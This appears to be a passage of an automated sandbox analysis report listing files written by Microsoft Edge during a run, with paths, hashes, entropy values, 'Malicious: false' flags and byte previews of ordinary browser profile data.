SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-67BE6509-1FFC.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.49764454083692505
Encrypted:	false
SSDEEP:	3072:wQEXsrBN7yUZugqG0rbdz1AgPdpf9KxblEqdv0T/Wotp2g1HFiT:6XsPWgqPrbdzXYhEqdS/Wotp2aHo
MD5:	4D20ED3AFB8AF22EA74F34D249A65C16
SHA1:	EAA848B426D262C22D643CDBB999E0FA39599D9C
SHA-256:	C6D0053A0C3AB97BD61AB531E1D5D0C483AC5A5A77B6062861854C5A0B67F17A
SHA-512:	5FEF73EBE6C68CAA1D50AEB58B8C797583D63E3D24DB9718834572AF1E1A22EF3B7CAC4C64C8642E366197833B51D474B4FBB5A09E6ED9492ED0B4677F50EFD4
Malicious:	false
Preview:	...@..@...@.....C.].....@...............H...................`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".mksxyj20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@..............(......................w..U?:K...G...W6.>.........."....."...24.."."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...u...V.S@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2................. .`2......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.132041621771752
Encrypted:	false
SSDEEP:	3:FiWWltlApdeXKeQwFMYLAfJrAazlYBVP/Sh/JzvPWVcRVEVg3WWD5x1:o1ApdeaEqYsMazlYBVsJDu2ziy5
MD5:	845CFA59D6B52BD2E8C24AC83A335C66
SHA1:	6882BB1CE71EB14CEF73413EFC591ACF84C63C75
SHA-256:	29645C274865D963D30413284B36CC13D7472E3CD2250152DEE468EC9DA3586F
SHA-512:	8E0E7E8CCDC8340F68DB31F519E1006FA7B99593A0C1A2425571DAF71807FBBD4527A211030162C9CE9E0584C8C418B5346C2888BEDC43950BF651FD1D40575E
Malicious:	false
Preview:	sdPC......................X..<EE..r/y..."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................fdb35e9f-12f5-40d5-8d50-87a9333d43a4............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\094348f1-a704-40e4-ac29-0c0ce20af95c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\1f3f9b00-4c80-428b-bb6d-e70b33c9311c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\22886a28-6249-4cc0-897a-80e53fa841f1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40470
Entropy (8bit):	5.561391041171215
Encrypted:	false
SSDEEP:	768:D6763h7pLGLxK8WPKcfUc8F1+UoAYDCx9Tuqh0VfUC9xbog/OV/L7M9Sxrw/7+UU:D6763XcxK8WPKcfUcu1jaGL7iSC/7+9x
MD5:	9229B2922CF49F14C6B556014C3973B5
SHA1:	9092CFEA4E1E385ABA98FC35D00408E79A558E5E
SHA-256:	2EEAA037044785F5430D126C607F1C8956129C68D6EE82A5BAE776622B32F9C7
SHA-512:	57C29D0DF3B49838CF7736E1F51D90A576DE6295223A6D8B555A4F2EE938A3A288624C73147DB0A48F1749B9684B98B77554D85064C3AFC5EA6101EFC1539C18
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13385004553711293","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13385004553711293","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\41bfb38a-6aa7-4ef0-9344-9a0ed5e700c9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	14056
Entropy (8bit):	5.295724199783023
Encrypted:	false
SSDEEP:	384:stQPGKSu4ds494JfhXUbGMQwg6WFaTYna:syOxuy9Sf6bGLvZaTYna
MD5:	EAA3636AE680FA4D6808858219AE09A0
SHA1:	BADB3C64184EA0C78D0565105F53DFAE12B79F22
SHA-256:	EAD1022AF31B99960E33BDAA4A3E72A86CDB23FEBEBE2C07CBE4B33D6A54ED10
SHA-512:	8C9F291C25168D12779AF993251ADC2CCEEB34E36944AD86ED6E9F60D8F5E951944F88EC296D8D9E4506BF8A47D962123EF52A8D7C8FCEC28B63C4951F60896A
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13385004554337125","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\4f18c8c2-e0f4-4db4-9caf-3a97f93ce619.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\85f2ee08-2597-42e2-9739-a1fa5221f53a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	38626
Entropy (8bit):	5.554903350319805
Encrypted:	false
SSDEEP:	768:D6763h7pLGLxK8WPKcf7c8F1+UoAYDCx9Tuqh0VfUC9xbog/OVyM9Sxrw/76tqKm:D6763XcxK8WPKcf7cu1jaHiSC/768QtY
MD5:	BD23FD5FF9729780E2DCC1FC68CC2D1C
SHA1:	59AE0E86126EF36F2266F7F029962B4A0D1AF70C
SHA-256:	748D8946E1FDD61DBF5CA0C8E00138F3663A5784F0B00B604C2C30612F8E1C08
SHA-512:	AA8644880F362FC24EBA0088A828BE0B898FCA472A5B883AEFA53DF2753DA4E1AAE54CC633CACA5BAC11DD589B03E65BC4AFEF32D39D0E048D5C5C65B01EC819
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13385004553711293","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13385004553711293","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\93cc573b-bcb8-460b-b7cf-48d2515e206a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	14221
Entropy (8bit):	5.292722098982858
Encrypted:	false
SSDEEP:	384:stQPGKSu4ds494JfhXUbGMQwg6WxlaTYna:syOxuy9Sf6bGLvraTYna
MD5:	3D18D0B2D88979E663EF28186D7516AD
SHA1:	68D5CDB21F0FE77FFA5C296EB51D06456A89FEF1
SHA-256:	DC4CDA56231A86B07F7F5845C2D7794764312663A133D7469AF3F0375FD1EA40
SHA-512:	AB5A79255BB13E1FC9815AD11A80AA62DDD5BED7CE2AA8833EF5EE5506DEFF0F7EF8777EB2A3AA5427459D14B4CF575B162E504039A9E6A1724541E6A148A89B
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13385004554337125","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	309
Entropy (8bit):	5.259760894488489
Encrypted:	false
SSDEEP:	6:iOXuokPHuM1923oH+Tcwtp3hBtB2KLl1uoHZrj34q2P923oH+Tcwtp3hBWsIFUv:7vEuhYebp3dFLbH5L4v4Yebp3eFUv
MD5:	5EBE843B3A73DC2D6C4D9CA37ADD90FC
SHA1:	D71390ABC395AC602FBE894A1D4FE916257B6BDC
SHA-256:	1BDC1756C7B84E03955782F3D6444E963C9B8199EBAF51D651595AA744A826CA
SHA-512:	7DC51A1D3B86CEA30BF4E7DBB30E80BD82F890B4F407E8E10B271085AF8EE18BD1B4DEE449FC8770F947643C2CC5C43B43541A6E2E6BD6226521D2198502E3E3
Malicious:	false
Preview:	2025/02/25-19:49:18.895 1e64 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2025/02/25-19:49:18.960 1e64 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	2163821
Entropy (8bit):	5.2228672455185485
Encrypted:	false
SSDEEP:	24576:v+/PN8FMfI/MXhZSihQgCmnVAEpENU2iOYcafbE2n:v+/PN8afx2mjF
MD5:	EDA6E476736E7FA4472460985D94EDC5
SHA1:	ABB508480670EE12456B0D1BBB4E6EC8B1F36F7C
SHA-256:	3A58BAD01A0447BED96B1494D55E071784F5A7F960E67E7FC04E95F73E649112
SHA-512:	290B8DC33FB0FC7428855971DC47D5107050AEEEB18094C89D2737306E3B3E892A873013BF156683F3D26512CBC3DA8AAF78BD7F9B5C45599A78FCB3174DE230
Malicious:	false
Preview:	...m.................DB_VERSION.1.l.i.................QUERY_TIMESTAMP:arbitration_priority_list4...13340900604462938.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.1503525935781775
Encrypted:	false
SSDEEP:	6:iOXuoMSN1L+q2P923oH+Tcwt9Eh1tIFUtFuoqQj1Zmw7uoNRe1LVkwO923oH+Tcf:7v7N9+v4Yeb9Eh16FUtlqQj1/bK9V5Lw
MD5:	15436CD3887E764BFCC93DE24C0C9025
SHA1:	559A0DAA6B6802B804202793BC6E2965D9C1D716
SHA-256:	800680F3CAB2667F5BBADDF7C02FF8509E2A113E20E27A37DCC230E5919943A8
SHA-512:	B4B896550054E1DFFA5984EA395653352E7039649405F19009B005B0F37D06D65D863F046008F6DCCF38665D5711C056B2CAA4B091CC06237A2EC905D5009D9E
Malicious:	false
Preview:	2025/02/25-19:49:18.815 219c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2025/02/25-19:49:18.839 219c Recovering log #3.2025/02/25-19:49:19.064 219c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.1503525935781775
Encrypted:	false
SSDEEP:	6:iOXuoMSN1L+q2P923oH+Tcwt9Eh1tIFUtFuoqQj1Zmw7uoNRe1LVkwO923oH+Tcf:7v7N9+v4Yeb9Eh16FUtlqQj1/bK9V5Lw
MD5:	15436CD3887E764BFCC93DE24C0C9025
SHA1:	559A0DAA6B6802B804202793BC6E2965D9C1D716
SHA-256:	800680F3CAB2667F5BBADDF7C02FF8509E2A113E20E27A37DCC230E5919943A8
SHA-512:	B4B896550054E1DFFA5984EA395653352E7039649405F19009B005B0F37D06D65D863F046008F6DCCF38665D5711C056B2CAA4B091CC06237A2EC905D5009D9E
Malicious:	false
Preview:	2025/02/25-19:49:18.815 219c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2025/02/25-19:49:18.839 219c Recovering log #3.2025/02/25-19:49:19.064 219c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.46295681529468125
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBuBUt:TouQq3qh7z3bY2LNW9WMcUvBuy
MD5:	046EC5306ABA0A4EFFFC451C1D9624E3
SHA1:	CD11D6606212DB8355157A2BB099C32D17F10805
SHA-256:	4B0CE853527174F4F5C05CC176E09D8D23E3887FEBF840A3B9F61FD4657A71B2
SHA-512:	DDAB048F85EF747188517E8D0D0ECA9EDA1744A11BADB50228B3A472FF64702BADA0D060667DB2784C4D463464456D0A9ABF129699AF522F59BE5A5BDA2B1D21
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.221142340078145
Encrypted:	false
SSDEEP:	6:iOXuoHKIq2P923oH+TcwtnG2tMsIFUtFuoHVZmw7uoHHkwO923oH+TcwtnG2tMsd:7vHKIv4Yebn9GFUtlHV/bHH5LYebn95J
MD5:	80CE4A24D26F2EF6A379067FBF52B59F
SHA1:	72F50AFC63CF361708473EE137B0F0DE0FDC3449
SHA-256:	0E84DD553489FF2B4E93A1C98185977616252298EC9C3631E7A622450AAEAA9D
SHA-512:	42AB247E544F26C86E455CE4D842040D97D454E91492CEF73502242A550C94DB545A726699C7414FFAA131524317165246A45DA498270435C07F2D812F1E9E34
Malicious:	false
Preview:	2025/02/25-19:49:13.774 1ec0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2025/02/25-19:49:13.818 1ec0 Recovering log #3.2025/02/25-19:49:13.818 1ec0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.221142340078145
Encrypted:	false
SSDEEP:	6:iOXuoHKIq2P923oH+TcwtnG2tMsIFUtFuoHVZmw7uoHHkwO923oH+TcwtnG2tMsd:7vHKIv4Yebn9GFUtlHV/bHH5LYebn95J
MD5:	80CE4A24D26F2EF6A379067FBF52B59F
SHA1:	72F50AFC63CF361708473EE137B0F0DE0FDC3449
SHA-256:	0E84DD553489FF2B4E93A1C98185977616252298EC9C3631E7A622450AAEAA9D
SHA-512:	42AB247E544F26C86E455CE4D842040D97D454E91492CEF73502242A550C94DB545A726699C7414FFAA131524317165246A45DA498270435C07F2D812F1E9E34
Malicious:	false
Preview:	2025/02/25-19:49:13.774 1ec0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2025/02/25-19:49:13.818 1ec0 Recovering log #3.2025/02/25-19:49:13.818 1ec0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6143967389375056
Encrypted:	false
SSDEEP:	24:TLapR+DDNzWjJ0npnyXKUO8+jzVOeNdpWGVOeu4mL:TO8D4jJ/6Up+V8As
MD5:	D103E296207B55560E711A43F7449196
SHA1:	8DBF520809CF08F86BC0CA81988C89D4CEDD68F3
SHA-256:	77B04FF3CFBBD27D7CA4015F504A39CA837634855A9C4411E9775B4089DBDA5F
SHA-512:	61A29037F935FA0918E8816291FE258C9DF44AC320ADAB81537468D47E577E963C7C9385086B0EF7774C097995C75768729C8DD60854A27DDDA4234BE451CFF8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
